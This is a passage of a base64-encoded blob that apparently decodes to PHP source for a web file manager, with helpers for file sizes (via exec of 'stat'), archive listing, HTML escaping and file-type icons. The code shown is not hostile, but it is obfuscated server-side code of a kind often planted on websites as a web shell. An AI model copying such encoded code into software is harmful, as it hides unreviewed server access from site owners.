BmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09PSAnRVhFQyc7XG4gICAgfVxuXG4gICAgaWYgKCRleGVjX3dvcmtzKSB7XG4gICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7XG4gICAgICAgICRjbWQgPSAkaXN3aW4gPyBcImZvciAlRiBpbiAoXFxcIiRmaWxlXFxcIikgZG8gQGVjaG8gJX56RlwiIDogKCRpc2RhcndpbiA/IFwic3RhdCAtZiV6ICRhcmdcIiA6IFwic3RhdCAtYyVzICRhcmdcIik7XG4gICAgICAgIEBleGVjKCRjbWQsICRvdXRwdXQpO1xuXG4gICAgICAgIGlmICghZW1wdHkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoXCJcXG5cIiwgJG91dHB1dCkpKSkge1xuICAgICAgICAgICAgcmV0dXJuICRzaXplO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRpc3dpbiAmJiBjbGFzc19leGlzdHMoJ0NPTScpKSB7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpO1xuICAgICAgICAgICAgJGYgPSAkZnNvYmotPkdldEZpbGUocmVhbHBhdGgoJGZpbGUpKTtcbiAgICAgICAgICAgIGlmIChjdHlwZV9kaWdpdCgkc2l6ZSA9ICRmLT5TaXplKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiAkc2l6ZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpO1xufVxuXG5cblwvKipcbiAqIEdldCBuaWNlIGZpbGVzaXplXG4gKiBAcGFyYW0gaW50ICRzaXplXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKVxue1xuICAgICRzaXplID0gKGZsb2F0KSAkc2l6ZTtcbiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpO1xuICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwO1xuICAgICRwb3dlciA9ICgkcG93ZXIgPiAoY291bnQoJHVuaXRzKSAtIDEpKSA/IChjb3VudCgkdW5pdHMpIC0gMSkgOiAkcG93ZXI7XG4gICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgXC8gcG93KDEwMjQsICRwb3dlciksIDIpLCAkdW5pdHNbJHBvd2VyXSk7XG59XG5cblwvKipcbiAqIEdldCBpbmZvIGFib3V0IHppcCBhcmNoaXZlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIGFycmF5fGJvb2xcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dClcbntcbiAgICBpZiAoJGV4dCA9PSAnemlwJyAmJiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHtcbiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpO1xuICAgICAgICBpZiAoJGFyY2gpIHtcbiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7XG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpO1xuICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICdcLyc7XG4gICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gQHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXJcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7XG4gICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICAgICAgfVxuICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkge1xuICAgICAgICAkYXJjaGl2ZSA9IG5ldyBQaGFyRGF0YSgkcGF0aCk7XG4gICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoIChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICRwYXJlbnRfaW5mbyA9ICRmaWxlLT5nZXRQYXRoSW5mbygpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoXCJwaGFyOlwvXC9cIiAuICRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3Vic3RyKCR6aXBfbmFtZSwgKCRwb3MgPSBzdHJwb3MoJHppcF9uYW1lLCAnXC8nKSkgIT09IGZhbHNlID8gJHBvcyArIDEgOiAwKTtcbiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpO1xuICAgICAgICAgICAgJHppcF9pbmZvID0gbmV3IFNwbEZpbGVJbmZvKCRmaWxlKTtcbiAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiAkemlwX2luZm8tPmdldFNpemUoKSxcbiAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiAkZmlsZS0+Z2V0Q29tcHJlc3NlZFNpemUoKSxcbiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlclxuICAgICAgICAgICAgKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBFbmNvZGUgaHRtbCBlbnRpdGllc1xuICogQHBhcmFtIHN0cmluZyAkdGV4dFxuICogQHJldHVybiBzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2VuYygkdGV4dClcbntcbiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkdGV4dCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7XG59XG5cblwvKipcbiAqIFByZXZlbnQgWFNTIGF0dGFja3NcbiAqIEBwYXJhbSBzdHJpbmcgJHRleHRcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KVxue1xuICAgIHJldHVybiAoc3RycGJyaygkdGV4dCwgJ1wvPyUqOnxcIjw+JykgPT09IEZBTFNFKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb25cbiAqIEBwYXJhbSBzdHJpbmcgJG1zZ1xuICogQHBhcmFtIHN0cmluZyAkc3RhdHVzXG4gKlwvXG5mdW5jdGlvbiBmbV9zZXRfbXNnKCRtc2csICRzdGF0dXMgPSAnb2snKVxue1xuICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddID0gJG1zZztcbiAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddID0gJHN0YXR1cztcbn1cblxuXC8qKlxuICogQ2hlY2sgaWYgc3RyaW5nIGlzIGluIFVURi04XG4gKiBAcGFyYW0gc3RyaW5nICRzdHJpbmdcbiAqIEByZXR1cm4gaW50XG4gKlwvXG5mdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpXG57XG4gICAgcmV0dXJuIHByZWdfbWF0Y2goJ1wvXC91JywgJHN0cmluZyk7XG59XG5cblwvKipcbiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3NcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fY29udmVydF93aW4oJGZpbGVuYW1lKVxue1xuICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7XG4gICAgICAgICRmaWxlbmFtZSA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRmaWxlbmFtZSk7XG4gICAgfVxuICAgIHJldHVybiAkZmlsZW5hbWU7XG59XG5cblwvKipcbiAqIEBwYXJhbSAkb2JqXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iailcbntcbiAgICBpZiAoIWlzX29iamVjdCgkb2JqKSAmJiAhaXNfYXJyYXkoJG9iaikpIHtcbiAgICAgICAgcmV0dXJuICRvYmo7XG4gICAgfVxuICAgIGlmIChpc19vYmplY3QoJG9iaikpIHtcbiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTtcbiAgICB9XG4gICAgcmV0dXJuIGFycmF5X21hcCgnZm1fb2JqZWN0X3RvX2FycmF5JywgJG9iaik7XG59XG5cblwvKipcbiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7XG5cbiAgICBzd2l0Y2ggKCRleHQpIHtcbiAgICAgICAgY2FzZSAnaWNvJzpcbiAgICAgICAgY2FzZSAnZ2lmJzpcbiAgICAgICAgY2FzZSAnanBnJzpcbiAgICAgICAgY2FzZSAnanBlZyc6XG4gICAgICAgIGNhc2UgJ2pwYyc6XG4gICAgICAgIGNhc2UgJ2pwMic6XG4gICAgICAgIGNhc2UgJ2pweCc6XG4gICAgICAgIGNhc2UgJ3hibSc6XG4gICAgICAgIGNhc2UgJ3dibXAnOlxuICAgICAgICBjYXNlICdwbmcnOlxuICAgICAgICBjYXNlICdibXAnOlxuICAgICAgICBjYXNlICd0aWYnOlxuICAgICAgICBjYXNlICd0aWZmJzpcbiAgICAgICAgY2FzZSAnd2VicCc6XG4gICAgICAgIGNhc2UgJ2F2aWYnOlxuICAgICAgICBjYXNlICdzdmcnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3Bhc3N3ZCc6XG4gICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzpcbiAgICAgICAgY2FzZSAnc3FsJzpcbiAgICAgICAgY2FzZSAnanMnOlxuICAgICAgICBjYXNlICd0cyc6XG4gICAgICAgIGNhc2UgJ2pzeCc6XG4gICAgICAgIGNhc2UgJ3RzeCc6XG4gICAgICAgIGNhc2UgJ2hicyc6XG4gICAgICAgIGNhc2UgJ2pzb24nOlxuICAgICAgICBjYXNlICdzaCc6XG4gICAgICAgIGNhc2UgJ2NvbmZpZyc6XG4gICAgICAgIGNhc2UgJ3R3aWcnOlxuICAgICAgICBjYXNlICd0cGwnOlxuICAgICAgICBjYXNlICdtZCc6XG4gICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6XG4gICAgICAgIGNhc2UgJ2MnOlxuICAgICAgICBjYXNlICdjcHAnOlxuICAgICAgICBjYXNlICdjcyc6XG4gICAgICAgIGNhc2UgJ3B5JzpcbiAgICAgICAgY2FzZSAncnMnOlxuICAgICAgICBjYXNlICdtYXAnOlxuICAgICAgICBjYXNlICdsb2NrJzpcbiAgICAgICAgY2FzZSAnZHRkJzpcbiAgICAgICAgY2FzZSAncHMxJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3R4dCc6XG4gICAgICAgIGNhc2UgJ2luaSc6XG4gICAgICAgIGNhc2UgJ2NvbmYnOlxuICAgICAgICBjYXNlICdsb2cnOlxuICAgICAgICBjYXNlICdodGFjY2Vzcyc6XG4gICAgICAgIGNhc2UgJ3lhbWwnOlxuICAgICAgICBjYXNlICd5bWwnOlxuICAgICAgICBjYXNlICd0b21sJzpcbiAgICAgICAgY2FzZSAndG1wJzpcbiAgICAgICAgY2FzZSAndG9wJzpcbiAgICAgICAgY2FzZSAnYm90JzpcbiAgICAgICAgY2FzZSAnZGF0JzpcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOlxuICAgICAgICBjYXNlICdwbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3MnOlxuICAgICAgICBjYXNlICdsZXNzJzpcbiAgICAgICAgY2FzZSAnc2Fzcyc6XG4gICAgICAgIGNhc2UgJ3Njc3MnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdiejInOlxuICAgICAgICBjYXNlICd0YnoyJzpcbiAgICAgICAgY2FzZSAndGJ6JzpcbiAgICAgICAgY2FzZSAnemlwJzpcbiAgICAgICAgY2FzZSAncmFyJzpcbiAgICAgICAgY2FzZSAnZ3onOlxuICAgICAgICBjYXNlICd0Z3onOlxuICAgICAgICBjYXNlICd0YXInOlxuICAgICAgICBjYXNlICc3eic6XG4gICAgICAgIGNhc2UgJ3h6JzpcbiAgICAgICAgY2FzZSAndHh6JzpcbiAgICAgICAgY2FzZSAnenN0JzpcbiAgICAgICAgY2FzZSAndHpzdCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdwaHAnOlxuICAgICAgICBjYXNlICdwaHA0JzpcbiAgICAgICAgY2FzZSAncGhwNSc6XG4gICAgICAgIGNhc2UgJ3BocHMnOlxuICAgICAgICBjYXNlICdwaHRtbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2h0bSc6XG4gICAgICAgIGNhc2UgJ2h0bWwnOlxuICAgICAgICBjYXNlICdzaHRtbCc6XG4gICAgICAgIGNhc2UgJ3hodG1sJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3htbCc6XG4gICAgICAgIGNhc2UgJ3hzbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnd2F2JzpcbiAgICAgICAgY2FzZSAnbXAzJzpcbiAgICAgICAgY2FzZSAnbXAyJzpcbiAgICAgICAgY2FzZSAnbTRhJzpcbiAgICAgICAgY2FzZSAnYWFjJzpcbiAgICAgICAgY2FzZSAnb2dnJzpcbiAgICAgICAgY2FzZSAnb2dhJzpcbiAgICAgICAgY2FzZSAnd21hJzpcbiAgICAgICAgY2FzZSAnbWthJzpcbiAgICAgICAgY2FzZSAnZmxhYyc6XG4gICAgICAgIGNhc2UgJ2FjMyc6XG4gICAgICAgIGNhc2UgJ3Rkcyc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdtM3UnOlxuICAgICAgICBjYXNlICdtM3U4JzpcbiAgICAgICAgY2FzZSAncGxzJzpcbiAgICAgICAgY2FzZSAnY3VlJzpcbiAgICAgICAgY2FzZSAneHNwZic6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2F2aSc6XG4gICAgICAgIGNhc2UgJ21wZyc6XG4gICAgICAgIGNhc2UgJ21wZWcnOlxuICAgICAgICBjYXNlICdtcDQnOlxuICAgICAgICBjYXNlICdtNHYnOlxuICAgICAgICBjYXNlICdmbHYnOlxuICAgICAgICBjYXNlICdmNHYnOlxuICAgICAgICBjYXNlICdvZ20nOlxuICAgICAgICBjYXNlICdvZ3YnOlxuICAgICAgICBjYXNlICdtb3YnOlxuICAgICAgICBjYXNlICdta3YnOlxuICAgICAgICBjYXNlICczZ3AnOlxuICAgICAgICBjYXNlICdhc2YnOlxuICAgICAgICBjYXNlICd3bXYnOlxuICAgICAgICBjYXNlICd3ZWJtJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdlbWwnOlxuICAgICAgICBjYXNlICdtc2cnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICd4bHMnOlxuICAgICAgICBjYXNlICd4bHN4JzpcbiAgICAgICAgY2FzZSAnb2RzJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnc3dwJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdkb2MnOlxuICAgICAgICBjYXNlICdkb2N4JzpcbiAgICAgICAgY2FzZSAnb2R0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3BwdCc6XG4gICAgICAgIGNhc2UgJ3BwdHgnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAndHRmJzpcbiAgICAgICAgY2FzZSAndHRjJzpcbiAgICAgICAgY2FzZSAnb3RmJzpcbiAgICAgICAgY2FzZSAnd29mZic6XG4gICAgICAgIGNhc2UgJ3dvZmYyJzpcbiAgICAgICAgY2FzZSAnZW90JzpcbiAgICAgICAgY2FzZSAnZm9uJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncGRmJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncHNkJzpcbiAgICAgICAgY2FzZSAnYWknOlxuICAgICAgICBjYXNlICdlcHMnOlxuICAgICAgICBjYXNlICdmbGEnOlxuICAgICAgICBjYXNlICdzd2YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWltYWdlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2V4ZSc6XG4gICAgICAgIGNhc2UgJ21zaSc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmF0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGRlZmF1bHQ6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJztcbiAgICB9XG5cbiAgICByZXR1cm4gJGltZztcbn1cblxuXC8qKlxuICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoJ2ljbycsICdnaWYnLCAnanBnJywgJ2pwZWcnLCAnanBjJywgJ2pwMicsICdqcHgnLCAneGJtJywgJ3dibXAnLCAncG5nJywgJ2JtcCcsICd0aWYnLCAndGlmZicsICdwc2QnLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpO1xufVxuXG5cLyoqXG4gKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9uc1xuICogQHJldHVybiBhcnJheVxuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKVxue1xuICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7XG59XG5cblwvKipcbiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTtcbn1cblxuXC8qKlxuICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICd0eHQnLFxuICAgICAgICAnY3NzJyxcbiAgICAgICAgJ2luaScsXG4gICAgICAgICdjb25mJyxcbiAgICAgICAgJ2xvZycsXG4gICAgICAgICdodGFjY2VzcycsXG4gICAgICAgICdwYXNzd2QnLFxuICAgICAgICAnZnRwcXVvdGEnLFxuICAgICAgICAnc3FsJyxcbiAgICAgICAgJ2pzJyxcbiAgICAgICAgJ3RzJyxcbiAgICAgICAgJ2pzeCcsXG4gICAgICAgICd0c3gnLFxuICAgICAgICAnbWpzJyxcbiAgICAgICAgJ2pzb24nLFxuICAgICAgICAnc2gnLFxuICAgICAgICAnY29uZmlnJyxcbiAgICAgICAgJ3BocCcsXG4gICAgICAgICdwaHA0JyxcbiAgICAgICAgJ3BocDUnLFxuICAgICAgICAncGhwcycsXG4gICAgICAgICdwaHRtbCcsXG4gICAgICAgICdodG0nLFxuICAgICAgICAnaHRtbCcsXG4gICAgICAgICdzaHRtbCcsXG4gICAgICAgICd4aHRtbCcsXG4gICAgICAgICd4bWwnLFxuICAgICAgICAneHNsJyxcbiAgICAgICAgJ20zdScsXG4gICAgICAgICdtM3U4JyxcbiAgICAgICAgJ3BscycsXG4gICAgICAgICdjdWUnLFxuICAgICAgICAnYmFzaCcsXG4gICAgICAgICd2dWUnLFxuICAgICAgICAnZW1sJyxcbiAgICAgICAgJ21zZycsXG4gICAgICAgICdjc3YnLFxuICAgICAgICAnYmF0JyxcbiAgICAgICAgJ3R3aWcnLFxuICAgICAgICAndHBsJyxcbiAgICAgICAgJ21kJyxcbiAgICAgICAgJ2dpdGlnbm9yZScsXG4gICAgICAgICdsZXNzJyxcbiAgICAgICAgJ3Nhc3MnLFxuICAgICAgICAnc2NzcycsXG4gICAgICAgICdjJyxcbiAgICAgICAgJ2NwcCcsXG4gICAgICAgICdjcycsXG4gICAgICAgICdweScsXG4gICAgICAgICdnbycsXG4gICAgICAgICd6c2gnLFxuICAgICAgICAnc3dpZnQnLFxuICAgICAgICAnbWFwJyxcbiAgICAgICAgJ2xvY2snLFxuICAgICAgICAnZHRkJyxcbiAgICAgICAgJ3N2ZycsXG4gICAgICAgICdhc3AnLFxuICAgICAgICAnYXNweCcsXG4gICAgICAgICdhc3gnLFxuICAgICAgICAnYXNteCcsXG4gICAgICAgICdhc2h4JyxcbiAgICAgICAgJ2pzcCcsXG4gICAgICAgICdqc3B4JyxcbiAgICAgICAgJ2NnaScsXG4gICAgICAgICdkb2NrZXJmaWxlJyxcbiAgICAgICAgJ3J1YnknLFxuICAgICAgICAneW1sJyxcbiAgICAgICAgJ3lhbWwnLFxuICAgICAgICAndG9tbCcsXG4gICAgICAgICd2aG9zdCcsXG4gICAgICAgICdzY3B0JyxcbiAgICAgICAgJ2FwcGxlc2NyaXB0JyxcbiAgICAgICAgJ2NzeCcsXG4gICAgICAgICdjc2h0bWwnLFxuICAgICAgICAnYysrJyxcbiAgICAgICAgJ2NvZmZlZScsXG4gICAgICAgICdjZm0nLFxuICAgICAgICAncmInLFxuICAgICAgICAnZ3JhcGhxbCcsXG4gICAgICAgICdtdXN0YWNoZScsXG4gICAgICAgICdqaW5qYScsXG4gICAgICAgICdodHRwJyxcbiAgICAgICAgJ2hhbmRsZWJhcnMnLFxuICAgICAgICAnamF2YScsXG4gICAgICAgICdlcycsXG4gICAgICAgICdlczYnLFxuICAgICAgICAnbWFya2Rvd24nLFxuICAgICAgICAnd2lraScsXG4gICAgICAgICd0bXAnLFxuICAgICAgICAndG9wJyxcbiAgICAgICAgJ2JvdCcsXG4gICAgICAgICdkYXQnLFxuICAgICAgICAnYmFrJyxcbiAgICAgICAgJ2h0cGFzc3dkJyxcbiAgICAgICAgJ3BsJyxcbiAgICAgICAgJ3BzMSdcbiAgICApO1xufVxuXG5cLyoqXG4gKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9taW1lcygpXG57XG4gICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAnYXBwbGljYXRpb25cL3htbCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwvamF2YXNjcmlwdCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwveC1qYXZhc2NyaXB0JyxcbiAgICAgICAgJ2ltYWdlXC9zdmcreG1sJyxcbiAgICAgICAgJ21lc3NhZ2VcL3JmYzgyMicsXG4gICAgICAgICdhcHBsaWNhdGlvblwvanNvbicsXG4gICAgKTtcbn1cblxuXC8qKlxuICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3XC9vIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF90ZXh0X25hbWVzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICdsaWNlbnNlJyxcbiAgICAgICAgJ3JlYWRtZScsXG4gICAgICAgICdhdXRob3JzJyxcbiAgICAgICAgJ2NvbnRyaWJ1dG9ycycsXG4gICAgICAgICdjaGFuZ2Vsb2cnLFxuICAgICk7XG59XG5cblwvKipcbiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTtcbn1cblxuXC8qKlxuICogSXQgcmV0dXJucyB0aGUgbWltZSB0eXBlIG9mIGEgZmlsZSBiYXNlZCBvbiBpdHMgZXh0ZW5zaW9uLlxuICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLlxuICogQHJldHVybiBzdHJpbmd8c3RyaW5nW10gVGhlIG1pbWUgdHlwZSBvZiB0aGUgZmlsZS5cbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pXG57XG4gICAgJGZpbGVUeXBlc1sn